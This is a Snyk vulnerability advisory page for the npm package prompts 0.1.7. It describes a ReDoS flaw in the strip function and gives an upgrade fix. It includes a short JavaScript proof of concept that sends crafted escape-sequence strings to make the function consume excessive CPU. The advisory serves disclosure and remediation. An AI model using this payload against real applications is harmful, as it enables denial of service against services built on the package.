prompts@0.1.7 vulnerabilities

Lightweight, beautiful and user-friendly prompts

  • latest version

    2.4.2

  • latest non vulnerable version

  • first published

    6 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the prompts package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.

    Note: CVE-2021-3868 was previously assigned to this vulnerability and retracted.

    PoC

    const strip = require('prompts/lib/util/strip.js');
    for(var i = 1; i <= 5000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*1000);
    strip(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade prompts to version 2.4.2 or higher.

    <2.4.2